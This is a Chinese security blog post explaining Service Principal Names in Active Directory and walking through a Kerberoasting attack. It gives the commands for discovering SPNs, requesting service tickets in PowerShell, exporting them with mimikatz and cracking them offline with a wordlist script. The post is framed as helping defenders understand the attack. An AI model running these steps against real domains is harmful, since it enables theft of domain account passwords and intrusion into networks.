正文

安全技术 | 域渗透之SPN

admin
admin V管理员 /0 评论 /13 阅读
0410
此篇文章发布距今已超过1120天，您需要注意文章的内容或图片是否可用！

Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。在内网中，SPN扫描通过查询向域控服务器执行服务发现，可以识别正在运行重要服务的主机，如终端，交换机等。SPN的识别是Kerberoasting攻击的第一步。本文由锦行科技的安全研究团队提供，旨在通过对SPN进行介绍，帮助大家深入了解Kerberoasting攻击过程以应对该种攻击。

SPN

SPN(ServicePrincipal Names)服务主体名称，是服务实例(比如：HTTP、SMB、MySQL等服务)的唯一标识符。Kerberos认证过程使用SPN将服务实例与服务登录账户相关联，如果想使用 Kerberos 协议来认证服务，那么必须正确配置SPN。

SPN分为两种类型：
1.一种是注册在活动目录的机器帐户(Computers)下，当一个服务的权限为 Local System 或 Network Service，则SPN注册在机器帐户(Computers)下。
2.一种是注册在活动目录的域用户帐户(Users)下，当一个服务的权限为一个域用户，则SPN注册在域用户帐户(Users)下。

20201019域渗透之SPN312.png

SQLServer在每次启动的时候，都会去尝试用自己的启动账号注册SPN

在Windows域里，默认普通机器账号有权注册SPN：

域：test.com
机器名：W10b
域机器账号（system）
（手动注册）成功注册

20201019域渗透之SPN424.png

普通域用户账号是没有权注册SPN：
域：test.com
机器名：W10b
普通域用户：test\fw
（手动注册）权限不够

20201019域渗透之SPN489.png

这就会导致这样一个现象，SQL Server如果使用“Local System account”来启动，Kerberos就能够成功，因为SQL Server这时可以在DC上注册SPN。如果用一个普通域用户来启动，Kerberos就不能成功，因为这时SPN注册不上去。

在DC上为域账号赋予 “Read servicePrincipalName” 和 “Write serverPrincipalName” 的权限

20201019域渗透之SPN698.png

20201019域渗透之SPN700.png

20201019域渗透之SPN702.png

勾上serverPrincipalName的读写权限：

20201019域渗透之SPN732.png

再次使用普通域用户注册，成功注册

20201019域渗透之SPN751.png

Kerberoasting攻击

域内的任何一台主机用户或普通域用户，都可以通过查询SPN，向域内的所有服务请求TGS，然后进行暴力破解，但是对于破解出的明文，只有域用户的是可以利用的，机器账户的不能用于远程连接，所以我们的关注点主要就在域用户下注册的SPN。

发现SPN

Setspn -Q */*

20201019域渗透之SPN902.png

请求SPN

（powershell）

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlsrv.test.com:1433"

20201019域渗透之SPN1081.png

导出票据

mimikatz # kerberos::list /export

20201019域渗透之SPN1122.png

破解票据

https://github.com/nidem/kerberoast

python3 tgsrepcrack.py pass.txt "2-40a10000-w10a$@MSSQLSvc~sqlsrv.test.com~1433-TEST.COM.kirbi"

20201019域渗透之SPN1313.png

如果得到的是一个有权注册SPN的域账号，也可以通过手动注册的方式来进行Kerberoasting攻击。

如若转载，请注明原文地址